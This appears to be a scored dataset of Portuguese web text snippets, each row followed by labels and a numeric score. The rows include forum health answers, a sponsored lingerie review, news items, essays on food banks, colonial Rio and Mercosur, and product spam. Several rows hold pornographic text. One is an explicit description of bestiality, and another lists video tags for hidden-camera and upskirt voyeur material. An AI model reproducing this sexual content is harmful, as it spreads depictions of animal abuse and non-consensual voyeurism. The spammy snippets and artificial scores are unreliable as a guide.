na fórmula com objetivo de impedir ingestão acidental por seres humanos e animais de estimação. ele é a substância a mais amarga dos mundo. Usado para impedir que animais de estimação e humanos comam compostos com o Benzoato. +A dúvida que tenho, não sei se você ""rac.3546"" é que o álcool é desidratante. Passar ele no seu rosto e saia ao sol, e depois me conte o que ocorreu, se isso que vai ocorrer no seu rosto que tem gorduras e outros elementos protetores (ou seja pele), imagine na mucosa. Passe um algodão umedecido na pele e tente passar na parte interna da vagina. Outro item, é se esse Benzoato de Denatônio é tóxico mesmo em dosagens ínfimas. +---------- +SE VC TEM TODA ESSA INFORMAÇÃO PQ ENTÃO DA PERGUNTA ? +A NÃO SER QUE VC QUEIRA PASSAR ESSA INFORMAÇÃO PARA AS PESSOAS ENTÃO (+ info) +É verdade que a faringite não tem cura? +e óbvio que tem, o tratamento é a base de antibiótico e antiinflamatório, até a remissão dos sintomas, que são : febre,mal estar,ardor no local,dificuldade de deglutição. boa sorte./ (+ info) +Usar muito ventilador por uma noite inteira pode causar Faringite ? +eu uso muito ventilador agora com esse verão ninguém aguenta ! e eu deixo meu ventilador a noite toda ligado ! eu to com a garganta inflamada será que é por causa do ventilador ! ou Poeira do verão mesmo ? +---------- +O ventilador muito próximo resseca a garganta, e pode ser a causa do...",original,original,original,original,2,0.4 +"Fascínio de Mulher - Lingerie com strass - Universo Ma Chérie +Fascínio de Mulher - Lingerie com strass +Escrito por: Unknown as 20:20 24 comentários +Um dos recebidos do mês de Janeiro, foi um conjunto em lingerie, lindo de viver! +Recebi um e-mail da Fascínio de Mulher delivery, uma loja virtual de lingeries com entrega rápida e um ótimo atendimento, achei bem interessante a proposta deles e resolvi conhecer de perto o produto para contar para vocês. +Dentre os produtos disponíveis no site, escolhi um conjunto em renda branco, o charme extra é um pingente em strass, o sutiã é lindo com um drapeado que deixa a peça muito requintada, a renda é de ótima qualidade, o sutiã possui bojo e aro, o que é ótimo para deixar o seio bem arrumado e de quebra dá aquela levantada. +O conjunto é composto por um caleçon da mesma renda do sutião, bem leve e confortável, se adapta ao corpo com conforto e leveza. +Vou parar de falar e mostrar toda a beleza que tentei captar na foto, talvez não dê a real visão, mas dá para se ter noção do que eu falo. +Como disse, o atendimento é nota dez, para comprar é necessário realizar um cadastro no site, tudo bem rápido e simples. Minha encomenda chegou em menos de uma semana, o que para mim é um ponto positivo para a empresa, precisei ligar para confirmar um dado do cadastro e o atendimento por telefone também é impecável. +Sabe o que é mais legal? É que a Fascínio de Mulher vai presentear uma leitora do Universo Ma Chérie com um conjunto igual ao meu, bom demais né?! +Fiquem ligadas, aqui e nas redes sociais que em breve colocarei as regras no ar! +Quer conhecer a Fascínio de Mulher Delivery de perto? É só entrar no site e conferir tudo o que tem de mais lindo e sensual para nós mulheres estarmos sempre bem vestidas, mesmo por baixo do look do dia. +E se você quiser ganhar uma renda extra, pode se tornar uma revendedora de lingerie, toda mulher precisa para ela e toda a família, já pensou que demais?! +Fascínio de Mulher Delivery - http://www.fasciniodemulherdelivery.com.br/ +Telefone de contato - (19) 2512-3971 +Viciadas em Batom 15 de fevereiro de 2016 21:09 +Ai que liinda, achei um charme essa lingerie, com pingente e strass, arrasou na escolha ;) http://www.viciadasembatom.com.br/ +Dalliane Oliveira 24 de fevereiro de 2016 00:52 +Que bom que gostou! Linda né?! +larisse oliveira 15 de fevereiro de 2016 22:20 +Gente que lingerie mais perfeita! Amei cada detalhe, e branco ainda *----* +Beijos, indo conhecer a loja haha +Dalliane Oliveira 24 de fevereiro de 2016 00:53 +Haha! Certamente você gostou dos itens que tem por lá. +Fernanda Caterina Estilo Modas e Manias 18 de fevereiro de 2016 02:19 +Que peças mais lindas amei Dalli uma delicadeza devem ser de total qualidade..amei +Lindo né amiga! Super qualidade! +Joana Alves 18 de fevereiro de 2016 16:59 +Eu já conheço a loja 😊 e é muito boa. Produtos de ótima qualidade e lindos. Amei a loja 😉 +Dalliane Oliveira 24 de fevereiro de 2016 00:54 +Que legal! Ótimos preços mesmo! +Lucimar da Silva Moreira 18 de fevereiro de 2016 17:01 +Dalliane lindo o conjunto, a peça é maravilhosa, já me imagino eu usando esse conjunto lindo, Dalliane e o melhor que a pessoas ainda pode ganhar um extra tornando uma revendedora muito bom isso, Dalliane beijos. +Dalliane Oliveira 24 de fevereiro de 2016 00:55 +Então Lucimar, para quem quer uma renda extra é super válido. E toda mulher usa e precisa de lingeries não é mesmo?! +Célia Lima 18 de fevereiro de 2016 17:52 +Nossa amiga eu amei suas comprinhas,essa lingerie é maravilhosa.Tbm gostei dá cor,adoro lingerie branca. +Super aquisição né?! +Bruna Karlla Universo Feminino 18 de fevereiro de 2016 18:54 +Uauuuu perfeita! ! Linda seu recebido, quero conhecer mas peças da empresa bjs. +Dalliane Oliveira 24 de fevereiro de 2016 00:56 +Não vejo a hora de receber mais produtos para mostrar aqui. +Diana Rocha 18 de fevereiro de 2016 21:15 +Relmente a Lingerie é muito linda! Amei, vou visitar o site +Saga Literaria 19 de fevereiro de 2016 08:19 +a lingerie parece ser de qualidade, b...",original,original,original,original,0,0.0 +" Bolsonaro vira as costas para a imprensa ao ser indagado sobre tortura no Pará | Repórter +Início Política Bolsonaro vira as costas para a imprensa ao ser indagado sobre tortura... +FORUM – Na manhã desta terça-feira (8), durante o encontro do presidente Jair Bolsonaro (PSL) com apoiadores no Palácio do Planalto, um repórter o questionou sobre uma denúncia do Ministério Público contra um caso de tortura no Pará. No entanto, antes que pudesse concluir sua pergunta, o presidente vira as costas para o jornalista e chama a equipe para ir embora. +Artigo anteriorNo Roda Viva, Gilmar Mendes diz que Lula não tem o direito de recusar o regime semiaberto +Próximo artigoEx-prefeito de Itacoatiara, Antônio Peixoto é condenado a devolver R$ 25,5 milhões aos cofres públicos",original,original,original,original,1,0.2 +"Em 2014, os bancos de alimentos estavam já alimentando quase um milhão de pessoas no Reino Unido, um dos países mais ricos do mundo. Nos Estados Unidos, os números são provavelmente ainda mais elevados, mesmo per capita. +Definitivamente, não há necessidade de ter vergonha de ir a um banco de alimentos, mas muitos bancos de alimentos têm algumas condições para quem eles dão comida. Você também pode encontrar bancos de alimentos em países em desenvolvimento como a África do Sul, Índia e Brasil. +Diariamente toneladas de alimentos reaproveitáveis são jogados no lixo, em vez de serem doados ao banco de comida gratis. +Todos os dias toneladas de comida em condições de ser aproveitada vão para o lixo todo santo dia em mercados, feiras, fábricas, restaurantes, quitandas, açougues, fazendas. Além de toneladas de iogurtes perto do vencimento, tomates manchados, pães amanhecidos, carne esquecida no congelador e milhares de itens que, por algum motivo estético, acabam nas latas de lixo. +Se fizermos um simples calculo e levar em conta apenas aquilo que poderia ser aproveitado facilmente, sem grandes mudanças no processo de produção ou de distribuição. É suficiente para dar café, almoço e jantar diariamente a milhões de pessoas. +Então como fazer com que toda essa comida vá parar nos pratos vazios? A resposta esta aqui com o banco de comida grátis, com ele muitas pessoas que não tem como comer sem dinheiro, poderam ter o que comer. +Em alguns estados do Brasil foi criado um dos projetos mais criativos e eficientes é o sopão do Ceasa. Os Ceasas – sigla de Central de Abastecimento S.A. – são empresas estaduais geridas por um misto de dinheiro do governo e da iniciativa privada. +Essas empresas mantêm mercados e entrepostos para escoar a produção agropecuária. Quem já foi a um dos mercados do Ceasa à tarde sabe o quanto de comida sobra todos os dias nos estandes. Tradicionalmente, ia tudo para o lixo. +Os Ceasas também são ótimos lugares para quem quer ter como comprar comida sem dinheiro. Você pode encontrar mais informações nesse link. +Além do Ceasa, há outras instituições transformando o que iria para o lixo em comida. Muitas são organizações não-governamentais (ONGs) que, com uma estrutura pequena– não mais que duas ou três vans e meia dúzia de voluntários – coletam comida doada e levam tudo a instituições de caridade que preparam e distribuem o alimento. +Falarei um pouco sobre dois bancos de alimentos (ou bancos de comida gratis) aqui neste artigo, um no Brasil e o outro em Portugal. Então se você estiver em algum desses dois paises e esta com pouco dinheiro ou sem dinheiro para comer, poderá recorrer a esses bancos. +O banco de comida grátis no Brasil +Clicando nesse link você saberá mais sobre esse banco e os lugares que ele atua no Brasil. +O banco de comida gratis em Portugal +Em 23 de Janeiro de 1991, foi criado em Portugal o primeiro Banco Alimentar Contra a Fome. Aproveitar onde sobra, para distribuir onde falta. +É este o objectivo: evitar o desperdício de alimentos fazendo-os chegar às pessoas que têm fome. São recolhidos localmente e a nível nacional, respeitando as normas de higiene e de segurança alimentar. +Para saber mais sobre esta instituição click aqui. +Há muitas maneiras de se reaproveitar e evitar o desperdício dos alimentos, basta conhecer o valor deles. Você sabia que aquela casca de banana que você joga fora possui duas vezes e meia mais vitamina C do que a polpa da fruta??? +As cascas, talos, sementes e folhas dos vegetais e frutas que costumamos desprezar podem ser muito saudáveis. “As partes não convencionais dos alimentos possuem um rico valor nutricional, ou seja, a quantidade de vitaminas, sais minerais e proteínas concentradas podem aparecer até em quantidade maior do que na parte costumeiramente utilizada”. +Outro beneficio apresentado pelo uso dos alimentos reaproveitaveis é oportunizar novos hábitos alimentares, usando o reaproveitamento dos alimentos que seriam jogados fora. Desta forma temos a ocasião oportuna de prop...",original,original,original,original,3,0.6 +"Results/Page 5 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95 100 | Sort items by Title Issue Date Relevance In order Ascending Descending Authors/record All 1 5 10 15 20 25 30 35 40 45 50 +Results 1-1 of 1 (Search time: 0.001 seconds). +previous +1 +next +Item hits: +Preview +Title +Author(s) +???itemlist.dc.contributor.author1??? +???itemlist.dc.description.resumo??? +Modelagem climática e vulnerabilidades setoriais à mudança do clima no Brasil - Autor::Brasil. Ministério da Ciência, Tecnologia e Inovação (MCTI) Para a elaboração dos estudos de vulnerabilidades setoriais à mudança do clima no Brasil, o INPE, vinculado ao MCTI, incumbiu-se de coordenar os trabalhos de modelagem regional do clima e de elaboração de cenários futuros da mudança do clima. Junto ao Cemaden, também vinculado a este Ministério, o Instituto, posteriormente, coordenou a relação entre os estudos de vulnerabilidade e adaptação a setores estratégicos vulneráveis aos impactos associados à mudança do clima no Brasil. Os dados dessas simulações permitiram gerar relatórios inéditos de cenários climáticos que respaldaram os estudos sobre vulnerabilidade apresentados na TCN.",original,original,original,original,2,0.4 +"Essa mulher sensacional transou com um cara danado e ela... +Mulher gostosa da bunda grande e sensacional queria sexo... +Homem safado fez sexo com tudo com uma gordinha que é bem...",original,original,original,original,0,0.0 +"Junte-se ao meu lado escuro e sensual, você saberá sobre mim",original,original,original,original,0,0.0 +"Sgt. Pepper faz show gratuito no dia do Rock No data em que se comemora o Dia do Rock, o Boulevard Shopping prepara uma programação especial com a Sgt. Pepper, famosa banda cover dos Beatles, se apresenta... Read more » +Beatles Abbey Road – The Ultimate Tribute Se você não teve a oportunidade de ver os FabFour no início da carreira, tocando pelos inferninhos de Liverpool e Hamburgo, ou não esteve no auditório de algum Ed Sullivan... Read more » +Banda Menage no projeto Ensaio aberto, no MM Gerdau A Ménage, que acabou de lançar seu segundo disco, “Terra”, se apresenta no Museu das Minas e dos Metais, trazendo toda sua energia sonora para o público. A... Read more » +Trem das Onze faz roda de samba em Santa Tereza O “Trem dos Onze” é uma banda nova,formada por músicos de Belo Horizonte, que tem como base do seu repertório o ritmo mais popular do Brasil: o... Read more » +Quinteto vocal e instrumental Kazoo apresenta o espetáculo “Estação Cotidiano” O espetáculo expressa, através do repertório do Jazz e da música brasileira, o sonho, as relações afetivas, o cotidiano e as diversas formas em que a vida... Read more »",original,original,original,original,3,0.6 +"Talha folheada a ouro do século XVIII. Altar de São Roque da Igreja da Ordem Terceira de São Francisco da Penitência, Largo da Carioca (In: Barroco e Rococó nas Igrejas do Rio de Janeiro / Iphan) +A paisagem da Baía de Guanabara e das terras do entorno, observada pelos europeus que participavam da primeira expedição exploradora, não era mais a mesma. Para os embarcados naquela frota, a primeira visão, em 1502, revelava um meio ambiente desconhecido e intocado, aparentemente intransponível e deserto. Olhares atentos, transformados em relatos, descreveram dezenas de aspectos, como a exuberante cobertura florestal (Mata Atlântica). A partir da fundação, sob o signo da disputa entre portugueses e franceses, a cidade foi, aos poucos, ocupada, saneada e aterrada, reformada, constituindo um cenário onde se misturavam a paisagem natural e a intervenção do homem. +Recuando até os anos iniciais do século XVIII, documentos de época relataram que os portugueses, quando vinham para as terras do outro lado do Atlântico, se deparavam com espaços sendo formados. As cidades eram bastante acanhadas e a população diferia bastante da europeia. Era assim, também, no Rio de Janeiro. Até essa épooca, na cidade que, segundo a historiadora Mary Del Priore, “tinha descido dos morros onde a plantara inicialmente Mem de Sá, para invadir várzeas, vales e montes”, a pobreza e a riqueza conviviam no movimento do cais, em torno dos chafarizes existentes e na circulação dos largos centrais. +Os estrangeiros, nessa ocasião, quando chegavam ao Rio de Janeiro, registravam, em correspondências ou em diários, sérios problemas com a limpeza. As vielas estreitas e irregulares não eram varridas, sendo, também, local de pasto para os animais. Por ali circulavam, segundo o escritor Luiz Edmundo, “espessas manadas de bois, varas de porcos, rebanhos de carneiros, esperando-se que a Divindade os fulmine, transferindo para eles a cólera que tanto aos homens prejudica”. Diante das ameaças à saúde, pela ausência de saneamento, os que possuíam recursos faziam promessas aos santos católicos, que seriam cumpridas se a graça fosse alcançada, doando ouro e prata para ornar altares das igrejas e das capelas. As preces dos moradores espalhavam-se em rezas e novenas; incontáveis velas iluminavam os templos. A população usava cordões com cruzes deixadas bem à mostra, buscando proteção divina. Historiadores observam que tal comportamento talvez representasse mais superstição do que religiosidade. +A cidade de Vila Rica. Era de lá que provinha grande parte do ouro e da prata que ornamentaram as igrejas do Rio no século XVIII. Desenho publicado em livro de 1838 (Crédito: Ferdinand Denis/Biblioteca Nacional do Rio de Janeiro) +Luiz Edmundo registrou a situação: “Natureza amiga! O homem suja, o vento varre, a água lava e o sol, depois, enxuga!”. Tudo isso, prossegue, “diante da belíssima Baía de Guanabara com suas águas tranquilas e calmas”. Tal condição não fugiu à observação de D. Luís de Almeida Portugal d’Eça Alarcão de Melo e Silva Mascarenhas (1729-1790). Conhecido como O Gravata, por seu apuro no vestir, o vice-rei Marquês do Lavradio enxergava o Rio de Janeiro com um cenário urbano “sumamente pobre”. Mas, como diz o título da canção de Oswaldo Montenegro, Sempre Não É Todo Dia. Nos anos de 1763 a 1808 e nos seguintes, obras importantes foram realizadas no centro da cidade e no restante da malha urbana do Rio de Janeiro. +X +Carioca curioso +Vice-reis +Estudos sinalizam que os indicados pelo rei para ocupar o vice-reinado, quando aceitavam a função, não vinham para a colônia americana atrás de aventuras. Não havia comparação entre a vida em Portugal e a que teriam nas terras ultramarinas. Muitos imaginavam que, prestando serviço ao rei, teriam maiores e melhores oportunidades de obter prestígio e poder, como pagamento indireto. Honrados pela distinção da escolha, quando partiam de Lisboa, enfrentando a longa viagem, nem tudo era certeza. Resistiriam ao longo percurso? Sobreviveriam a climas...",original,original,original,original,4,0.8 +Morto que aquele filme do tubarão pode debutar com +20M,original,original,original,original,0,0.0 +"Há 1 ano 06:28 MegaTube empregada, bater uma punheta, tanga, engolir, calcinhas, dinheiro, calcinha fio dental +Há 1 ano 12:00 XoZilla tanga, natural, ao ar livre, peitos em pe, em pé por trás, calcinha fio dental, seios branco +Há 3 anos 02:15 xHamster tanga, por baixo da saia, xhamster calcinhas fio dental +Há 2 anos 01:13 xHamster tanga, gosta de ser corno, 18 anos em hd, calcinha fio dental, essa gosta de da o cu +Há 1 mês 02:25 xHamster por baixo da saia, tanga, de fio dental +Há 3 meses 06:23 xHamster tanga, velha de fio dental, 27 anos +Há 3 meses 08:30 XoZilla tanga, carro, carona com estranhos, tanga de lado, boquete de fio dental +Há 1 ano 05:52 xHamster tanga, por baixo da saia, upskirts em hd, de calcinha fio dental, en el tanga, buceta vermelha +Há 2 semanas 07:05 xHamster adolescentes (18+), casting, amador, tanga, sexo oral, pontos de vista, morenas, boquete em tanga +Há 4 dias 04:59 xHamster tanga, negras, por baixo da saia, meias finas, britânicas +Há 1 semana 10:00 Beeg milf, adolescentes (18+), calcinhas, tanga, loiras, brinquedos, pontos de vista +Há 4 anos 05:30 HellPorno tanga, chupando de fio dental, tirando a roupa +Há 3 anos 14:10 Porn.com tanga, do cu pra boca, russas, tangas a fuder, calcinha fio dental, tampão de bunda +Há 5 anos 08:00 Pornoid tanga, por tras das cameras, la piedra, atrás das câmeras +Há 5 meses 03:06 xHamster tanga, esposa de fio dental +Há 1 mês 01:20 xHamster tanga, por baixo da saia, voyer, camera escondida, de fio dental +Há 2 meses 08:00 Analdin secretárias, saltos altos, escritório, tanga, beijando, colega de trabalho, calcinhas fio dental, chyna r +Há 5 anos 04:25 PornSharing tanga, vestido, vestido e fio dental +Há 3 anos 34:08 Porn.com tanga, calcinhas, tanga a un lado, calcinha fio dental, do lado da pessoa",original,original,original,original,0,0.0 +"A ESCOLA +A METODOLOGIA +oda a metodologia aplicada pelas Escolas de Futebol do Boca são parte de um processo elaborado pela Administração Desportiva do Club Atlético Boca Juniors. +Esse mesmo trabalho técnico-físico-psicológico é usado com os meninos das categorias de base do clube e são aplicados nas Escolas de Futebol do Boca. +DIRETRIZES METODOLÓGICAS PARA OS TREINAMENTOS +O processo de formação desportiva executado nas divisões de base do Club Altético Boca Juniors segue uma linha pedagógica, onde as idades das crianças e jovens são respeitadas naturalmente. +Neste processo é fundamental a participação de formador capacitado para aplicar sensivelmente os conceitos futebolísticos programados em cada uma das idades. +O primeiro passo é organizar o campo como um ambiente de aula, onde a alegria, a diversão e a ordem são os pontos principais. +Devemos entender que a aprendizagem, consiste em um processo de assimilação lento, gradual e complexo, no qual, a criança deve estabelecer uma intensa atividade mental que permita assimilar e compreender o que é passado, por meio de atividades metodológicas cuidadosamente selecionadas e pensadas à longo prazo. +Nossa intenção é estimular a aprendizagem das técnicas na medida em que os garotos e jovens estejam preparados física e psicologicamente para executá-las. Sem obrigá-los a executar movimentos praticamente ""impossíveis"" de se reproduzir, pelo ponto de vista de sua maturidade neurológica.",original,original,original,original,4,0.8 +"Violência de gênero e seus impactos sobre a igualdade é tema de encontro promovido no Brasil pela FIO e a PFDC +f +28 de novembro, 2019 +Diálogo reúne Defensorias del Pueblo, Provedorias de Justiça e Procuradorias de Direitos de mais de 20 países da Ibero-América +(PFDC, 28/11/2019 – acesse no site de origem) +Contribuir para o aprimoramento da atuação de Defensorias del Pueblo, Provedorias de Justiça, Comissões e Procuradorias de Direitos Humanos de diferentes países da Ibero-América, a partir de uma abordagem interdisciplinar e transversal da violência de gênero, com especial enfoque nas questões de raça e o acesso a direitos como educação e saúde. +Esse foi o objetivo do XXIV Congresso da Federación Iberoamericana del Ombudsman (FIO), realizado ontem (27), no Rio de Janeiro, e que reuniu instituições de direitos humanos de mais de 20 países da Ibero-América – incluindo a Procuradoria Federal dos Direitos do Cidadão (PFDC), representante brasileira na FIO. +O encontro buscou promover a troca de experiências com especialistas, organizações sociais e organismos internacionais e colocou no centro do debate a necessidade de políticas públicas na área, tendo como perspectiva as múltiplas e agravadas formas de desigualdade que afetam alguns grupos sociais. Características étnico-raciais, idade, condição social, deficiência e orientação sexual estiveram entre os aspectos abordados. +“A violência de gênero não será enfrentada se não forem garantidos o acesso a políticas de educação e saúde, assim como o combate ao patriarcado e ao machismo, que são bases comuns e das quais o feminicído é a consequência mais nefasta. Um desafio que envolve a todos nós”, apontou a presidente da Federación Iberoamericana del Ombudsman, Iris Mirian Ruiz. +A desigualdade e a exclusão estruturadas pelo colonialismo e a escravidão foram lembradas pela procuradora federal dos Direitos do Cidadão, Deborah Duprat. Em diálogo sobre a transversalidade das questões de gênero e raça, a PFDC destacou as consequências de um modelo de sociedade, presente no Brasil e em vários países da região, que aparta vários segmentos sociais. +“Sem nenhuma chance de errar, gênero e raça são dois eixos extremos de diferenciação negativa para o acesso ao desenvolvimento – basta observarmos dados do Índice de Desenvolvimento Humano (IDH) no Brasil a partir desse recorte. As mulheres, especialmente as negras, são miseravelmente mais impactadas”, exemplificou a pesquisadora Rosane Borges, da Universidade de São Paulo (USP). +Já Keyla Simpson, presidente da Associação Nacional de Travestis e Transexuais, ressaltou formas agravadas de violência contra segmentos específicos. “O Brasil é o país que mais mata pessoas trans no mundo. E quem mais é assassinada é a população negra de menor renda, em função da vulnerabilidade em que estão e pela falta de acesso a condições mínimas de sobrevivência”. +Maria Lucia Secoti, da Pastoral da Pessoa Idosa, chamou atenção para os desafios do ageísmo, preconceito vivenciado por pessoas idosas e que atinge especialmente mulheres. “Pesa a ausência de políticas públicas pensadas, mais do que para mulheres, por mulheres”, disse ao ressaltar que o poder público é dominado por homens, não só nos cargos diretamente eleitos, mas também no Executivo e no Judiciário. +Igualdade de direitos para a cidadania +A sub-representação feminina nos espaços de poder, a dificuldade no acesso a políticas públicas e o tratamento desigual e que gera invisibilidade, discriminação e violência também foram ressaltados nos painéis que debateram acesso a direitos como educação e saúde. +“Há padrões socialmente construídos com o objetivo de discriminar ou criar obstáculos para as mulheres. Esses padrões usam de muitos recursos e um dos mais significativos é a linguagem, especialmente a visual. Eles estão em todos os espaços, inclusive nos ambientes de educação formal”, destacou Rachel Quintiliano, do Fundo de Populações da ONU. +J�� provedora de Justiça de Portugal, Maria Lucia Amaral, chamou atenç...",original,original,original,original,4,0.8 +"Video de zoofilia com uma loira perfeita do corpo escultural bumbum redondo e durinho com marquinhas de fio dental na putaria pela primeira vez com um cavalo dotado. Depois que fica sozinha com o cavalo na fazenda dos tios fica enlouquecida com o tamanho do cacete. +Assim tira toda a roupa e peladinha se agarra no cacete do animal lambe e chupa deixando bem duro. Em segundo lugar com as pernas abertas soca todo dentro da buceta e mexe bem gostoso com o cu piscando. Por fim goza bem gostoso com a buceta aberta e segue chupando até o cavalo gozar.",original,original,original,original,0,0.0 +"Bem-vindo à Base de Produção de Mineração SHM. Produzimos principalmente equipamentos de britagem, moagem e relacionados à mineração. Se você tiver alguma necessidade, você pode entrar em contato com nosso atendimento ao cliente on-line ou deixar uma mensagem através do formulário abaixo. Vamos atendê-lo de todo o coração! +16 benefícios do iodo para a pele e a saúde +24 09 2018 Quando a ingestão de iodo através de formas naturais não é suficiente tomar suplementos de iodo como iodeto de potássio iodeto de sódio e solução de Lugol para melhorar seus níveis de iodo Consumi los é fácil Basta misturar os suplementos tanto em água ou um suco de fruta e +Clique para bater um papo +Como identificar o amido nos alimentos +07 12 2015 Essa solução pode ser preparada dissolvendo se 5g de iodo e 3g de iodeto de potássio em 100 ml de água Quando for preparar a mistura é preciso prestar atenção na proporção a solução de lugol tem sempre 1 de iodo e 2 de iodeto de potássio Pires ou placas de Petri Conta gotas Alimentos com ou sem amido Entre os com +Clique para bater um papo +PRODUTO COMERCIAL COMPARADO À SOLUÇÃO DE IODO A 6 +como mata bicheira bem como de uma solução iodada utilizada na sala de ordenha por não possuir concentração de iodo capaz de promover a completa cicatrização A presença de álcool nas soluções iodadas beneficia a secagem das estruturas remanescentes do cordão umbilical BITTAR 2009 +Clique para bater um papo +Solução de Lugol Sigma Aldrich +Em bacteriologia a coloração Gram permite uma diferenciação rápida das bactérias Gram positivas e Gram negativas A estrutura da mureína das paredes das bactérias é a base da afinidade da cor As bactérias são coradas com a solução cristal violeta de Gramum corante de anilinano primeiro passo Após o tratamento com a solução de iodo de Gram solução de Lugol formará +Clique para bater um papo +La povidona yodada no es un buen antiséptico por ser +20 01 2017 Después de desterrar la Mercromina que nuestros padres nos ponían cada vez que nos hacíamos daño y el alcohol con el que llorábamos como si se acabara el mundo por no ser antisépticos adecuados se aceptó como de uso cotidiano el uso de la povidona yodada que en realidad no debería utilizarse en mujeres embarazadas mujeres lactantes ni bebés +Clique para bater um papo +hoja de seguridad yodo povidona +hoja de seguridad yodo povidona secciÓn i identificaciÓn del producto e informaciÓn del fabricante nombre comercial de la sustancia nombre comÚn o genÉrico nombre de la compaÑÍa distribuidora yodo povidona yodo povidona laboratorios quimicos arvi s a direcciÓn del fabricante 2279 9555 n de telefono telÉfonos de 2279 9555 emergencia el alto de ochomogo 100 metros al oeste de reca +Clique para bater um papo +RESUMEN DE LAS CARACTERÍSTICAS DEL PRODUCTO +esporicida Se trata de un complejo molecular de iodo con povidona El complejo como tal carece de actividad hasta que se va liberando el yodo verdadero responsable del efecto antiséptico La dilución incrementa el proceso de liberación del yodo Propiedades Farmacocinéticas absorción distribución biotransformación eliminación +Clique para bater um papo +Teste Schiller positivo +Resposta de Heitor Leandro Paiva Rodrigues Olá O teste de Schiller é uma parte da colposcopia em que é aplicada o lugol uma solução rica em iodo Essa solução cora uma parte do colo uterino em que as celulas possuem uma substância chamada g +Clique para bater um papo +Parecer Sobre o Uso do Iodo e de Soluções Contendo Iodo +A solução de Lugol 5 que é composta por iodeto de potássio 10 iodo elementar inorgânico 5 e água destilada contem 2500 µg de iodo em cada gota ou seja mais que 10 vezes a recomendação da +Clique para bater um papo +Manual Farmacêutico +Produto Solução de PVP I 10 com 1 de iodo ativoVeículo alcoólico Utilização Antissepsia do campo operatório Antissepsia de pele antes de procedimentos invasivos Cuidados Especiais Necessita de 2 minutos de contato para liberação de iodo livre Possui ação residual de 2 a 4 horas +Clique para bater um pa...",original,original,original,original,3,0.6 +Está a utilizar uma versão de browser mais antiga. Utilize uma versão suportada para obter a melhor experiência possível com o MSN.,original,original,original,original,0,0.0 +"Página inicial > Lista de Produto > Pistola De Cola Protos (Total de 24 Produtos para Pistola De Cola Protos) +Pistola De Cola Protos - fabricante, fábrica, fornecedor da China +Somos especializados Pistola De Cola Protos fabricantes e fornecedores / fábrica da China. Pistola De Cola Protos atacado com alta qualidade como preço baixo / barato, uma das Pistola De Cola Protos marcas líderes da China, Zhengtong Special Material Factory Hi&New Tech Zone Chengdu. +Atacado Pistola De Cola Protos da China, Necessidade de encontrar baratas Pistola De Cola Protos um preço tão baixo preço, mas os principais fabricantes. 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A partir dessa avaliação, o aluno recebe um atendimento personalizado para solução dos seus problemas. +Material de apoio como Artigos, Livros e Cursos para capacitação dos profissionais e material pedagógico para o aluno diversificando-se em CDs, Gibis Revistas, e Brinquedos educativos.",original,original,original,original,2,0.4 +"Bruno Peron - Uruguai e a saída dos fundos +Uruguai e a saída dos fundos +Bruno Peron, 23 de janeiro de 2017 +O Uruguai não teme acontecimentos nefastos na integração latino-americana, como se observa no processo que se tem chamado Uruexit. A linha de conduta do presidente uruguaio Tabaré Vázquez tem sido a de abertura comercial, custe o que custar. E, de fato, tudo tem um preço. Mas parece que o Uruguai está disposto a pagar por ele. +É praticamente consensual que o Mercado Comum do Sul (MERCOSUL), que emergiu em março de 1991 com o propósito inicial de reduzir tarifas para uma integração aduaneira, sofre hoje um revés. Enquanto o ingresso da Venezuela como membro pleno provoca discórdias no bloco (os poderes legislativos brasileiro e paraguaio não foram favoráveis à aceitação da Venezuela), os dois países de território pequeno (Paraguai e Uruguai) demandam que os grandes (Argentina e Brasil) não os sufoquem. +Mesmo Argentina e Brasil conflitam entre eles sobre o que passa ou não pela fronteira com tributos baixos ou nulos. Na essência, esses dois países tiveram momentos de maior protecionismo e herdaram a forma de regular a economia através da presença forte do Estado. Quiçá o desenvolvimentismo dos anos 1960 e 1970 – que teve impulso nas ideias oriundas da Comissão Econômica para América Latina e Caribe – seja recuperado de certa forma no receio de perder mercados e competir deslealmente. +No entanto, alguns países latino-americanos governam-se por líderes que acreditam noutro horizonte para o desenvolvimento econômico. Chile e Peru seguem cada vez mais os passos de México e Estados Unidos; tal é o exemplo da formação da Aliança do Pacífico, que se abre ao mundo num modelo de regionalismo aberto. Nesse ínterim, o MERCOSUL enclausura-se ao comércio internacional – é tudo ou nada, ou seja, negocia somente em bloco com outros países e regiões – e oferece poucos remédios para que seus países vençam suas crises. O Uruguai tem feito de tudo para não dar as costas ao mundo porque entende que os prejuízos seriam imensuráveis. +É nessa esteira que se tem falado de Uruexit da mesma forma que a previsão do Brexit (em referência a Britain, ou à saída do Reino Unido) traz implicações sérias para a União Europeia. Numa década em que os radicalismos intensificam-se, as economias lutam para sobreviver e os refugiados de guerra tomam as ruas europeias, o Reino Unido deixará o bloco ao qual pertence. Naturalmente as oscilações cambiais, as incertezas migratórias e as especulações econômicas tomam conta da Europa. +Quase que por imitação, o Uruexit revela as carências e as dificuldades que o MERCOSUL tem enfrentado para manter-se de pé. Essa hesitação do bloco advém da divergência de propósitos que cada país integrante persegue. Enquanto a Argentina vive do passado (don’t cry for me, Argentina; o autoritarismo ainda sopra na memória), o Brasil apressa um futuro incerto (em sua pretensão de grandeza e liderança). +Poucas alternativas restam aos países menores do MERCOSUL. É nesse contexto que o dragão chinês aproxima-se do Uruguai como um território portuário estratégico para acesso à América Latina. Não quero dizer com isso que esta é a única porta de entrada, já que a China penetra de uma maneira ou de outra nestes mercados, mas que o aliciamento do Uruguai abalaria os pilares de sustentação do MERCOSUL. +Acrescento que essa reorientação estratégica do Uruguai antecede-se por seu incremento de comércio e aproximação do Chile. O receio, neste momento, é de que o Uruguai retire-se do MERCOSUL pela saída dos fundos para cuidar de seus interesses nacionais. Assim, esse sustentáculo do MERCOSUL proporia um desafio enorme aos outros países do bloco, que é o de como dirigir em novo sentido essa região da América Latina para que ela efetivamente supere os problemas mais urgentes de integração. +O orgulho dos grandes é o de nem sempre ouvir os pequenos.",original,original,original,original,3,0.6 +"Estranho, mas poderoso: veja as primeiras fotos clicadas com o Meizu Pro 7 - TecMundo +Estranho, mas poderoso: veja as primeiras fotos clicadas com o Meizu Pro 7 +19 jul 2017 — 13h13 +Apesar do visual bizarro proporcionado por um display extra na parte traseira do aparelho, o Meizu Pro 7 quer provar que é muito mais do que um rostinho feio no mundo mobile. Isso porque um dos executivos da fabricante chinesa compartilhou nesta quarta-feira (19) uma série de clique feitos com o celular, dando uma prévia do que suas câmeras são capazes. +O material foi publicado na Weibo – principal rede social da China – por Jeffrey Yang, vice-presidente sênior da marca, e mostra que o conjunto ótico do smartphone não é de se jogar fora. Afinal, são três imagens 